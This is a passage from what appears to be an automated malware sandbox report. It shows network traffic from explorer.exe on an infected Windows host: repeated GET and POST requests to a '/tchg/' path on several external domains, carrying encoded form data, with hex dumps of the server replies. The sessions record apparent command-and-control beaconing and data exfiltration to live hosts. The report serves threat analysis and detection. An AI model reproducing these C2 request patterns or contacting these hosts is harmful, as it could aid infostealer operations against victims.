Jy23daoK7dEBBlF6C7YLI05Kv0CsfD2byuWSxeNQj-qJF6cAkd1IdjyDIV7x651mMXI92_AEeGa8zHFgIm(MD25niR9V2lTnUj(O67SCKIza2U9N4sv0BMj7N2jSDyBXpRLfWBNpJlLG7RjJbzAiBMSd2wF40Psr3nfGJWRHd1oWjYbZxBeOt1Hu35pcXgy3AI4gM-vKb0seEHTCHiBka0YsT6VQbW6SNvdM9vxnBj27zm~D2WJGxJY-PdV2CFK-RajPoRoou7Pe7uf08eR_KukB1Qj_~S8PjC~o7Smc3R1XdXoy2_9HmVX_auIh0UpnovF14rU0(HaR8_hX553er7sSn5DckbntIrc50p1yU9FGw-mYkGG8d0QZfbYQIGqqSauZ7G1jtooBLLL4dgyLJYxKLrOu4aeKn-Qc6081NZqlsLlHt6VRg46A2_JpETW60qgRznBzXEcuz6O6a7ZwIWUVGtTZDy8LPBdHXbvsh9ubjFB4I4rkyMnByQtQSgL4ILpI0VZh~kVPObKNs_4rTQnBY-fOQafkn4X9DJOvuIJJYxFMjDKDGH~oo28mjvYH~8UhMonc~9QttGrjuSnIecy4PIodSFv3mtE_kh0YCVJIwlWCHt2NEwDnGg11F6Ol5w5bl2AkgrANUCyB5np6zPhDWaa5NXuK14zgJO03aPVVal4J(LabGwv-W2V98PphdR9wRDxyg4SaS7SC7Rg7cgpvlV4L87tSgqfDfttULfOrjXVBzZaMj-903VaZ75Q4j0(jxbCOpIC_9a62nq9dERrTz3QXUuGgicNDMFJeWywnYViSduuHaqmvnDr80DhWyQD6ZgzvMQjyBiso9FWSNcI6AVc5e7S9VpfyKA~TXmKEJ3F57Mn2QwYFt1GTcCxkdfB4qkGmiEqVWlmM54dMC5mEuQavEDerAZpHhKVl(G5tQm9dSytk77fMeHdfFP96DvhyWsnHBAqjwL6i(32qODWHrpugVGBzSAn3KrRPi4TRGoA2(AVcQnULdduG91hUXxoebuwWZOQzUtIE(D0bXDDcrIuP7xcw9eh_62alDXDxedip92UurSKqZgI-A4xV7kGtdwpA2TH_MOhcUcf_0yJMNubIRSJj5FcinQgxI9sA8-4ATo5koy8KTVQpu_C7bIJlP9MWW3WIs6NBCDMVfFgq~mHf8qjMUzi-5NR8zDGk5c0DZy(aqNw2usQeIVg76YCUG6ouiGc_YUPBJ0~kAutQtGbQsA92LSk0CXZicQh1JnvzhtWKAIGXESznYH1otQ6QnI4oyAf7H_CdiF6GM0ec0K9o2EzDpadpDBjSn7Aw~3HHrvZ388Lsoi7DtYIVP-c4ZmSixv7DEqPPIpYEAB3QS-IhKF6j7BkBs7(3SmF7oBC-OURSUY2GmvnNluM-Tb1XayQhFdpevjW5F9nurbrLEwi_VTRB11rJfqNACWELzzUfxqHA9Zi53-ojKTEyUUviZ82AGkRfA6ktItfzp6kiTs91f72wWUx79ffncg(DktoRomZiDzvWgpz7a2vRdnB2iQqAZ5sSvrGtPVSTQaDt3EHM5Sc2YMNWnQfGhHyGlGBxCmNeKIpLMLf2~1Mgo1mWRt2HyI69YFeT6o0LxCqOpfz9RwHYcicUIeIbGaOljC3dd-8kgNA0Sv29ZdH4zzLoIL710DGyzdaJLCl5SxwB2BxRg4E50Eh0qubRjhhc
May 30, 2023 11:12:49.551518917 CEST	1618	OUT	Data Raw: 74 62 4c 70 51 76 41 41 72 51 45 74 57 44 33 70 44 6f 4d 77 4b 47 37 6a 53 66 49 5a 48 32 4f 78 6a 58 28 46 71 5f 4c 48 31 76 64 37 66 6a 44 2d 7a 6d 39 52 63 46 37 56 33 50 78 78 7e 64 6e 54 59 75 4b 79 72 48 42 48 75 33 37 6f 54 6d 51 76 68 46 Data Ascii: tbLpQvAArQEtWD3pDoMwKG7jSfIZH2OxjX(Fq_LH1vd7fjD-zm9RcF7V3Pxx~dnTYuKyrHBHu37oTmQvhFWGaVXhvzAdzZnrt_NZnijqmDjXAZQWkWBcL1qOvOhjSF9PtmvHtqU0(dqxRp5xsBpQhum995jIiD1JgR6_PEOONTe37fvGdC03AOdUPu(6kTXOQVM_Q2BAQd5PhHfhoFEF3RX70dtrqCHEyQ5y7TJib467Pt(CfW4
May 30, 2023 11:12:49.709243059 CEST	1621	OUT	Data Raw: 4a 65 50 6d 72 7a 49 57 35 32 34 4e 4f 78 78 79 58 78 5a 55 46 48 77 50 48 37 68 6f 6b 39 7e 57 62 2d 6e 41 42 50 71 41 66 41 78 43 68 76 70 69 47 74 42 5a 75 70 50 69 65 4c 55 30 54 7a 51 66 5a 52 6d 56 65 49 38 66 48 71 68 70 57 36 65 51 4c 31 Data Ascii: JePmrzIW524NOxxyXxZUFHwPH7hok9~Wb-nABPqAfAxChvpiGtBZupPieLU0TzQfZRmVeI8fHqhpW6eQL15fhxQFq-MLrDEKh_iQWP8HPiq0PIQ-6ukwYcaLzXmfcMMh2Q(gZfzhYjDsfZi-7ovUolSKHD(TUKgRnFuwtU809ivSETWWg-y5tK7Q(xqj71(ZTISw67Min0dVxuSDPlqyxl8c(MSt1XzyDKAbQZvyvL~BDCSWikD
May 30, 2023 11:12:49.709340096 CEST	1624	OUT	Data Raw: 51 34 53 67 51 56 79 4d 4d 49 61 7a 6b 53 6c 39 72 4e 63 44 47 67 72 58 31 47 28 4f 74 33 39 43 4a 4f 6d 68 55 5a 44 6e 4d 45 64 65 67 6f 6b 68 77 76 43 41 34 7a 72 76 67 5f 70 6b 7a 50 35 71 7e 4e 43 32 33 5a 44 30 7a 6f 52 58 69 6d 78 50 62 50 Data Ascii: Q4SgQVyMMIazkSl9rNcDGgrX1G(Ot39CJOmhUZDnMEdegokhwvCA4zrvg_pkzP5q~NC23ZD0zoRXimxPbPFEe0jFfXuTJFYTyJVXKeiiDI7jiuB8Qjp4XlmkukR765xIPjVcnTRlGWkRLunB8Cy900K4jLRfmrCQtSpi2Y1c0U7usYRH~RWhaRGYqjUz~zYVvSL3amAEQKBY5GDfqqJpWDX0U4zyWEDF6NI1Ky1oo7qu1sctULP
May 30, 2023 11:12:49.709533930 CEST	1638	OUT	Data Raw: 46 69 69 56 59 75 75 6f 69 49 38 45 39 37 67 4e 42 6c 70 45 33 47 31 49 49 4f 4e 4d 54 5a 38 53 5a 32 73 6b 33 4a 62 38 77 6a 57 48 6d 78 44 6a 63 48 72 30 57 4c 4d 45 51 6b 39 38 4f 57 46 71 37 4f 30 64 49 59 66 36 71 30 51 41 41 73 4b 4b 6c 53 Data Ascii: FiiVYuuoiI8E97gNBlpE3G1IIONMTZ8SZ2sk3Jb8wjWHmxDjcHr0WLMEQk98OWFq7O0dIYf6q0QAAsKKlSNu4GVzTwZdnJ1ZswYZHWZD6xXzBdeH4Q5tmD39jQO5nto56e8eCWDanXU2Ws8llxEMZ17ZWXTOikg5RerFAAV5~e7ojPY4pcqOyJRHr5V6NR7Ku-F5J9dvrGEombTBTduz1Ytsyx1I4TUM2iKpnYHSHrU4IPcmqvP
May 30, 2023 11:12:49.709681988 CEST	1643	OUT	Data Raw: 7e 59 47 76 33 68 4c 59 34 74 6e 4c 35 53 32 49 56 4a 6a 62 28 55 68 73 47 36 30 36 71 69 48 31 62 30 63 78 6b 5f 30 68 41 61 42 6a 47 33 69 66 46 6d 45 68 72 74 4e 33 53 59 78 33 31 47 64 77 67 55 59 57 41 47 42 64 37 42 64 47 48 53 56 33 42 65 Data Ascii: ~YGv3hLY4tnL5S2IVJjb(UhsG606qiH1b0cxk_0hAaBjG3ifFmEhrtN3SYx31GdwgUYWAGBd7BdGHSV3BeVp0YYkSd225NWNWCMMcZiX2klTbk84teMSaV9IXtPUM-8ocg4QvuNN4UR786~wiAsTuprfyuus8Uo-DGM9di1Rk5fQ73Elpc4-U4965tJcyisiRJF1g4KabG2k4HrFY-ouocT4vv~B~k9Xhjl2anXaCdLIsHb9VGF
May 30, 2023 11:12:49.867014885 CEST	1645	OUT	Data Raw: 31 71 36 6a 69 66 58 5a 31 56 7a 6e 39 5f 59 4f 33 71 6d 4f 42 78 61 54 43 4c 50 2d 50 65 6b 49 4e 54 42 32 37 44 6b 31 65 66 4e 6e 46 70 5a 66 76 51 75 68 51 43 6f 39 65 32 78 5f 4b 66 39 78 7a 72 51 56 54 77 4d 4d 79 38 74 53 32 64 4a 4c 6f 41 Data Ascii: 1q6jifXZ1Vzn9_YO3qmOBxaTCLP-PekINTB27Dk1efNnFpZfvQuhQCo9e2x_Kf9xzrQVTwMMy8tS2dJLoA5PtXGZ85ZVVs(gLupVJKL3PxZm~wnxgbJSOP4T9nDtDoYcvC9edxRvcMIh30b1J1JhGYvnvAlx(DLLcjI715e92rKe~0lPf6rGnYfA1TLPnf2RLvOJBGeWrlc1UC6o6o1Bkac4B7zBFREI1DCX3xKBR3o9yDlp1lr
May 30, 2023 11:12:49.867060900 CEST	1646	OUT	Data Raw: 6d 4f 51 79 53 76 7e 42 44 4b 47 33 78 59 58 62 58 39 6b 51 32 63 36 77 77 57 65 6a 6e 79 31 36 67 34 45 50 71 68 65 5a 61 68 61 4f 56 5f 4c 4a 53 64 70 45 41 62 71 65 69 51 59 4f 75 44 6b 4a 78 76 51 4b 33 4d 79 32 76 72 6d 6e 33 45 7a 36 61 64 Data Ascii: mOQySv~BDKG3xYXbX9kQ2c6wwWejny16g4EPqheZahaOV_LJSdpEAbqeiQYOuDkJxvQK3My2vrmn3Ez6adTFou~qGeaIrOGiBr3tKCUFVpY5THWKy-3HOVJ9NUHOdRTNvpiyOPMTI33YRfrAAOgD9XmeVpHQuYinaus_V0dCWyk7jhbBKDFrIw(HvMh0djBCu8Y_9IkJo3ti7ziGDS5Xr3uwQYUVo_w0PqkgjNtoX6bXabJRx-f
May 30, 2023 11:12:49.867113113 CEST	1648	OUT	Data Raw: 32 44 48 7a 47 65 32 47 79 6f 69 6f 65 77 73 53 39 69 58 31 4b 4b 68 70 41 63 56 69 59 33 72 6e 33 36 37 49 44 58 76 6b 51 56 79 53 63 5a 73 61 42 44 58 49 30 6e 4b 6e 6d 61 39 74 6a 46 4c 61 48 45 7e 46 4b 6b 46 79 48 5a 63 54 44 4a 6d 45 39 75 Data Ascii: 2DHzGe2GyoioewsS9iX1KKhpAcViY3rn367IDXvkQVyScZsaBDXI0nKnma9tjFLaHE~FKkFyHZcTDJmE9uYOaF4k9yciOMFmrr8UoRUeksDfHefTWGcsiXmPUuU2r43QwZuhHzIfBw~grPHFZ1K1w1Fob1AsquARz-vWpDdGw4ntZxIGzKShBhQ3C2HdiRYQXBmKdFzLozJBgH10BSkK6kHI7d4kvzGkHMydQR0GIjHFLIUZgp5
May 30, 2023 11:12:49.867295980 CEST	1657	OUT	Data Raw: 51 72 4e 41 51 57 6f 4a 61 6e 68 54 37 4f 77 54 66 67 6a 32 44 79 71 4b 32 38 31 41 63 61 50 30 71 6e 31 63 28 78 67 78 78 7a 34 51 72 6d 72 59 38 61 53 56 41 5a 72 52 4f 4f 6c 65 39 6b 61 54 30 79 69 63 35 68 37 49 41 68 34 36 75 62 4a 5a 6f 42 Data Ascii: QrNAQWoJanhT7OwTfgj2DyqK281AcaP0qn1c(xgxxz4QrmrY8aSVAZrROOle9kaT0yic5h7IAh46ubJZoB9TnB1omPgc~hhef6WSlHxj0Rpfp7N9Q37zOsoqCnP-p-UnhISjDPTDpGLy(I8RsYfEqnZw7KUDaDmYr03-6s4gsBQst6SFIZZvQOhUKpKLOEaMni8fqZQd7nMr6YqLq8bWr-AMWDX7lquYt3QeFiEFX_~oBiA2WrB
May 30, 2023 11:12:50.549453974 CEST	1659	IN	HTTP/1.1 200 OK Date: Tue, 30 May 2023 09:12:49 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 320 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 62 72 20 2f 3e 0a 3c 62 3e 4e 6f 74 69 63 65 3c 2f 62 3e 3a 20 20 55 6e 64 65 66 69 6e 65 64 20 76 61 72 69 61 62 6c 65 3a 20 75 73 72 5f 69 64 20 69 6e 20 3c 62 3e 2f 76 61 72 2f 77 77 77 2f 68 74 6d 6c 2f 6e 65 77 72 65 64 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 35 31 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 4e 6f 74 69 63 65 3c 2f 62 3e 3a 20 20 55 6e 64 65 66 69 6e 65 64 20 76 61 72 69 61 62 6c 65 3a 20 69 73 70 20 69 6e 20 3c 62 3e 2f 76 61 72 2f 77 77 77 2f 68 74 6d 6c 2f 6e 65 77 72 65 64 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 35 31 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 4e 6f 74 69 63 65 3c 2f 62 3e 3a 20 20 55 6e 64 65 66 69 6e 65 64 20 76 61 72 69 61 62 6c 65 3a 20 64 74 20 69 6e 20 3c 62 3e 2f 76 61 72 2f 77 77 77 2f 68 74 6d 6c 2f 6e 65 77 72 65 64 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 35 31 3c 2f 62 3e 3c 62 72 20 2f 3e 0a Data Ascii: <br /><b>Notice</b>: Undefined variable: usr_id in <b>/var/www/html/newred.php</b> on line <b>51</b><br /><br /><b>Notice</b>: Undefined variable: isp in <b>/var/www/html/newred.php</b> on line <b>51</b><br /><br /><b>Notice</b>: Undefined variable: dt in <b>/var/www/html/newred.php</b> on line <b>51</b><br />

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
87	192.168.11.20	49846	216.108.231.108	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:12:52.237648010 CEST	1659	OUT	GET /tchg/?O0qEM=RUgOIEC2bpKEAb3gt63mE+Z8A/D48vS2kv7pSD36MjRmJGY6VLK565PH5Ya2jxSU9dFBv1ZYes9vP/U9IpvgXfidz0YLsWTogQ==&CF1Ki=UnDuQcdCFs1MNsvY HTTP/1.1 Host: www.fairbitawayposearisk.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 30, 2023 11:12:52.926728964 CEST	1660	IN	HTTP/1.1 200 OK Date: Tue, 30 May 2023 09:12:52 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 320 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 62 72 20 2f 3e 0a 3c 62 3e 4e 6f 74 69 63 65 3c 2f 62 3e 3a 20 20 55 6e 64 65 66 69 6e 65 64 20 76 61 72 69 61 62 6c 65 3a 20 75 73 72 5f 69 64 20 69 6e 20 3c 62 3e 2f 76 61 72 2f 77 77 77 2f 68 74 6d 6c 2f 6e 65 77 72 65 64 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 35 31 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 4e 6f 74 69 63 65 3c 2f 62 3e 3a 20 20 55 6e 64 65 66 69 6e 65 64 20 76 61 72 69 61 62 6c 65 3a 20 69 73 70 20 69 6e 20 3c 62 3e 2f 76 61 72 2f 77 77 77 2f 68 74 6d 6c 2f 6e 65 77 72 65 64 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 35 31 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 4e 6f 74 69 63 65 3c 2f 62 3e 3a 20 20 55 6e 64 65 66 69 6e 65 64 20 76 61 72 69 61 62 6c 65 3a 20 64 74 20 69 6e 20 3c 62 3e 2f 76 61 72 2f 77 77 77 2f 68 74 6d 6c 2f 6e 65 77 72 65 64 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 35 31 3c 2f 62 3e 3c 62 72 20 2f 3e 0a Data Ascii: <br /><b>Notice</b>: Undefined variable: usr_id in <b>/var/www/html/newred.php</b> on line <b>51</b><br /><br /><b>Notice</b>: Undefined variable: isp in <b>/var/www/html/newred.php</b> on line <b>51</b><br /><br /><b>Notice</b>: Undefined variable: dt in <b>/var/www/html/newred.php</b> on line <b>51</b><br />

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
88	192.168.11.20	49847	183.90.238.43	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:12:58.207803011 CEST	1661	OUT	POST /tchg/ HTTP/1.1 Host: www.dkansai-cp.com Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.dkansai-cp.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.dkansai-cp.com/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 6c 54 47 5f 69 5a 51 31 65 38 72 54 52 36 43 43 76 48 53 6f 59 49 68 6a 76 32 36 45 68 76 33 63 4f 71 4c 75 41 48 52 39 75 69 54 46 4b 38 31 33 77 69 32 6d 71 76 32 45 70 57 70 72 77 5f 42 52 28 53 69 36 6a 38 75 78 7a 50 71 73 65 55 4f 7a 52 46 41 2d 43 39 6e 63 62 4e 49 5a 4f 67 65 45 69 59 49 79 41 52 72 41 74 4f 36 68 31 74 32 4f 7e 6a 45 5f 75 55 7e 58 4e 41 69 5a 33 56 37 32 6d 4c 72 6c 28 45 42 77 33 4c 36 51 68 79 75 34 4d 72 70 64 44 61 4a 76 45 4f 42 76 79 6a 77 66 4e 65 73 76 69 4d 7e 4a 4a 44 77 6d 68 62 78 74 42 67 29 2e 00 00 00 00 00 00 00 00 Data Ascii: O0qEM=lTG_iZQ1e8rTR6CCvHSoYIhjv26Ehv3cOqLuAHR9uiTFK813wi2mqv2EpWprw_BR(Si6j8uxzPqseUOzRFA-C9ncbNIZOgeEiYIyARrAtO6h1t2O~jE_uU~XNAiZ3V72mLrl(EBw3L6Qhyu4MrpdDaJvEOBvyjwfNesviM~JJDwmhbxtBg).
May 30, 2023 11:12:58.478796005 CEST	1662	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 30 May 2023 09:12:57 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Mon, 02 Jul 2018 00:27:42 GMT ETag: W/"afe-56ff9440f72fb" Content-Encoding: gzip Data Raw: 35 31 39 0d 0a 1f 8b 08 00 00 00 00 00 04 03 8d 56 cf 6f 13 47 14 3e 7b ff 8a 61 a3 4a 25 ca 66 63 27 71 a8 b1 ad 4a 10 0a 2d 90 08 4a a1 a7 6a bc 3b b6 a7 ac 77 ac dd 75 12 b7 ca 1f 63 32 53 d1 12 95 08 50 49 0a 88 aa a0 36 4d 4b 28 ad 82 2a 0e a0 aa 97 26 d0 0b 51 a5 1e fb 66 67 d6 5e 27 06 b1 17 7b df cf ef 7d ef cd db 29 1e 38 3a 73 e4 c3 8f 67 a7 51 3d 6a 78 65 a3 28 7f 90 87 fd 5a c9 fc 14 9b 52 40 b0 0b 3f 0d 12 61 e4 d4 71 10 92 a8 64 4e 9f 3b 62 bd 3f 6b 22 1b 34 11 8d 3c 52 9e 18 9b 40 c7 a8 47 d0 69 16 a1 63 ac e5 bb 45 5b 69 b4 af 8f 1b a4 64 3a ac d9 0e 68 ad 1e 99 c8 61 7e 44 7c 08 76 24 91 a1 0b 67 a7 cf 7c 34 7d 06 9d f0 9d 51 99 3b 4e aa 1c 03 56 61 51 98 f2 3a 71 fa e8 f4 85 91 63 33 27 4f ce 9c 57 40 52 d6 73 94 cc 37 59 90 ce 32 4f dd a8 5e 72 c9 1c 75 88 15 bf 8c 50 9f 46 14 7b 56 e8 60 8f 94 b2 a3 63 23 0d 10 35 5a 8d 9e 44 a2 08 a3 36 d4 15 b5 9b 80 3f 22 0b 91 ed 84 21 c8 87 d1 e7 06 82 a7 81 83 1a f5 0b 68 ec 70 fc da c4 ae 4b fd 5a fc be 68 d0 46 4d 9b 55 58 e0 92 40 8b 5b 9e 96 6a 6b cb 23 d5 a8 80 72 a4 71 d8 58 34 e2 1e a8 e0 6c 8e 04 55 8f cd 5b ed 02 0a 9d 80 79 9e ca 52 c1 ce c5 5a 20 69 2e a0 a1 f1 ca d4 3b 95 29 e9 59 61 6e 5b 47 ae 02 bd 56 15 37 a8 07 ae a6 f8 53 70 b1 23 be 32 47 d0 29 42 83 36 1b 41 e6 d2 83 a5 df d1 d2 af e2 86 b8 29 ee 89 ab a0 32 4f 9d 45 b3 ef b1 a8 4e 1d f9 26 7e 13 db e2 6b b1 79 fd 91 b8 81 66 03 86 ce 8f 4b f1 71 1a 60 a8 98 a1 0f f0 c5 16 52 e6 52 0d ba 10 fb a1 15 92 80 56 15 cc 3d dc 78 d4 27 56 9d c8 fe 17 50 76 74 42 19 c5 48 43 fa 19 29 a0 a9 c9 b7 94 4c f2 6c 61 8f d6 80 58 07 a6 84 04 4a ee 30 8f 01 89 f3 75 1a 91 98 aa 6c ba 5c 15 24 37 d1 5c 48 45 9e d7 f9 2a cc 73 f7 bb f4 6b 65 3f fb 41 aa 40 49 9b 60 06 23 d6 80 46 8d f5 a5 48 68 3e 4e bc 39 12 51 07 f7 33 01 1d cd 69 98 af aa 2b e6 60 3f 96 14 35 b9 29 99 72 d1 68 be 49 24 45 44 b6 4b c4 9e 3e a4 67 54 96 bc 97 d5 51 b2 d0 f4 30 f5 75 2a 35 ba 56 c4 9a d0 b5 e6 02 0a 99 47 5d 34 54 ad ea 2e 6b 7d 42 ce 20 93 7e 52 47 27 15 ad 09 ac 71 a0 13 e1 56 c4 fa d8 86 64 ba e6 21 07 b7 42 32 a0 70 79 6c 24 29 da c0 a3 da 46 17 34 94 cf e7 e3 96 8f 6b b9 47 22 18 25 2b 6c 62 27 3e a3 00 f5 95 93 22 89 49 13 05 59 e2 b1 fb a4 c2 16 74 b8 04 7f 76 52 e3 4f 96 40 ef 78 5a 7b b9 35 ec 61 54 1a f0 18 b0 3d c4 9a 78 da b9 2d d6 c5 96 f8 52 ec 1a c6 00 33 29 42 c3 b6 f1 6e 83 b8 14 23 e6 7b 6d b9 18 08 f1 11 f6 5d f4 36 6c 30 b5 dd 60 d3 1c d4 22 bc 90 88 a6 f2 c0 e8 41 40 9f 19 aa e0 98 d1 4c a6 5b 63 dc 85 6c 3c d9 99 45 23 53 97 47 2b 93 49 8f 60 5e d2 a5 75 c0 a1 9c 8f 3e 83 7c cf 59 0e 7c 9f 2e db 75 4e 4d 57 bf 45 3c ae 71 78 d9 af 4c 46 d1 ab e6 6e 02 28 86 dc 69 38 bd 88 dd f9 48 55 a3 8e 68 bf 43 4e e3 5f 34 5e d7 05 24 1e 89 3b e2 ba d8 ed fc 2b ee 8a c7 e2 05 6c c7 f5 d7 36 e3 4d ba 31 95 3f b4 8f fa 74 81 87 7a dc ed 23 7e 32 ad 1b 44 7c b6 d7 b6 57 b2 ab f8 cf c4 9f be 02 ca f7 7a d5 37 d6 99 ae 81 06 94 74 21 39 dd 29 2c aa 4b e9 01 51 38 13 97 78 61 f4 ea 1a d4 25 39 73 7b db 9a 8c c1 a2 51 b4 e3 6f 2f 7c 83 6d 75 0d 31 8a f2 0b 07 ef 2e 9d 43 d4 2d 99 72 8a e1 5b Data Ascii: 519VoG>{aJ%fc'qJ-Jj;wuc2SPI6MK(&Qfg^'{})8:sgQ=jxe(ZR@?aqdN;b?k"4<R@GicE[id:ha~D\|v$g\|4}Q;NVaQ:qc3'OW@Rs7Y2O^ruPF{V`c#5ZD6?"!hpKZhFMUX@[jk#rqX4lU[yRZ i.;)Yan[GV7Sp#2G)B6A)2OEN&~kyfKq`RRV=x'VPvtBHC)LlaXJ0ul\$7\HEske?A@I`#FHh>N9Q3i+`?5)rhI$EDK>gTQ0u*5VG]4T.k}B ~RG'qVd!B2pyl$)F4kG"%+lb'>"IYtvRO@xZ{5aT=x-R3)Bn#{m]6l0`"A@L[cl<E#SG+I`^u>\|Y\|.uNMWE<qxLFn(i8HUhCN_4^$;+l6M1?tz#~2D\|Wz7t!9),KQ8xa%9s{Qo/\|mu1.C-r[
May 30, 2023 11:12:58.478858948 CEST	1663	IN	Data Raw: 2c cf 6a b1 9e 2d 17 25 39 f2 2e 02 9e f2 5f b1 12 c8 3b 8a 54 cb 67 ef 05 05 3c b4 6b ae 2c 2e 89 ab e2 96 58 e3 37 f9 df fc 0b be 0e bf 77 c5 13 38 8d ab fc e1 ea 15 7e 9f 5f e1 3b fc 29 bf c5 77 f9 8f 52 d7 59 02 50 39 ed df 44 8e 87 c3 b0 64 Data Ascii: ,j-%9._;Tg<k,.X7w8~_;)wRYP9Ddiu).mswRuma`_lVOLW61oVke_$qm]UY~x?'=:-sX[J{m/W~?,;s:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
89	192.168.11.20	49848	183.90.238.43	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:13:00.998691082 CEST	1664	OUT	POST /tchg/ HTTP/1.1 Host: www.dkansai-cp.com Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.dkansai-cp.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.dkansai-cp.com/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 6c 54 47 5f 69 5a 51 31 65 38 72 54 58 65 47 43 6a 41 6d 6f 5a 6f 67 52 71 32 36 45 34 5f 33 59 4f 71 48 75 41 43 39 74 75 52 33 46 4c 63 46 33 78 67 65 6d 28 76 32 45 68 32 70 79 7e 66 42 67 28 53 7e 45 6a 34 71 78 7a 4f 4f 73 59 32 57 7a 54 31 41 5f 4b 64 6e 62 4d 39 49 55 4b 67 65 30 69 59 45 75 41 51 76 41 74 5f 47 68 30 76 4f 4f 35 32 34 38 39 45 28 39 4a 77 69 47 73 6c 37 34 6d 4c 6d 47 28 41 42 67 32 34 6d 51 67 53 4f 34 4e 72 70 65 57 36 4a 6f 62 65 41 77 32 42 39 68 48 76 52 53 38 63 28 7a 46 48 64 6f 6b 49 31 6a 44 5a 50 38 34 79 37 6a 67 57 28 55 68 63 46 74 75 7a 6e 70 72 33 58 66 79 4e 30 65 49 41 6b 41 6d 66 28 35 67 6b 59 6c 6f 59 30 53 56 31 77 56 4a 62 76 30 66 78 7a 66 56 6d 4c 4e 4d 6c 64 59 44 4d 4a 7a 5a 4b 58 67 66 33 61 6f 76 2d 79 4f 65 32 78 69 78 4e 46 70 45 66 4a 61 62 70 48 76 32 4a 65 54 6f 64 6a 5f 5a 72 6f 70 50 38 42 58 35 32 38 43 7a 68 30 6d 38 65 36 38 53 4e 78 41 45 6b 66 31 70 79 75 68 57 39 72 53 47 65 78 52 70 6f 66 33 76 41 49 6f 6a 6c 35 4c 58 67 7e 78 57 62 33 74 62 47 33 6b 50 66 70 55 31 46 4d 75 54 35 51 44 4f 68 78 51 4e 32 38 37 66 71 57 50 39 6b 71 6a 65 61 78 68 31 7a 4d 4d 52 49 58 52 6a 4f 56 47 28 4a 67 6c 78 69 59 31 59 4c 34 57 49 52 32 55 38 6f 4b 6f 46 6b 72 7a 77 73 54 37 4f 77 41 55 56 76 68 46 54 41 78 79 35 72 73 54 64 42 76 66 4b 44 59 50 7a 76 77 39 58 64 28 66 30 6d 64 71 63 5a 59 63 77 47 7a 34 78 4c 47 59 77 6c 6f 48 55 68 73 74 54 64 52 63 65 32 52 59 42 39 59 5a 72 56 56 53 43 41 58 6b 50 46 41 4a 30 36 61 2d 37 37 41 6c 49 38 71 30 4a 38 36 43 4e 6f 75 76 4a 6d 34 2e 00 00 00 00 00 00 00 00 Data Ascii: O0qEM=lTG_iZQ1e8rTXeGCjAmoZogRq26E4_3YOqHuAC9tuR3FLcF3xgem(v2Eh2py~fBg(S~Ej4qxzOOsY2WzT1A_KdnbM9IUKge0iYEuAQvAt_Gh0vOO52489E(9JwiGsl74mLmG(ABg24mQgSO4NrpeW6JobeAw2B9hHvRS8c(zFHdokI1jDZP84y7jgW(UhcFtuznpr3XfyN0eIAkAmf(5gkYloY0SV1wVJbv0fxzfVmLNMldYDMJzZKXgf3aov-yOe2xixNFpEfJabpHv2JeTodj_ZropP8BX528Czh0m8e68SNxAEkf1pyuhW9rSGexRpof3vAIojl5LXg~xWb3tbG3kPfpU1FMuT5QDOhxQN287fqWP9kqjeaxh1zMMRIXRjOVG(JglxiY1YL4WIR2U8oKoFkrzwsT7OwAUVvhFTAxy5rsTdBvfKDYPzvw9Xd(f0mdqcZYcwGz4xLGYwloHUhstTdRce2RYB9YZrVVSCAXkPFAJ06a-77AlI8q0J86CNouvJm4.
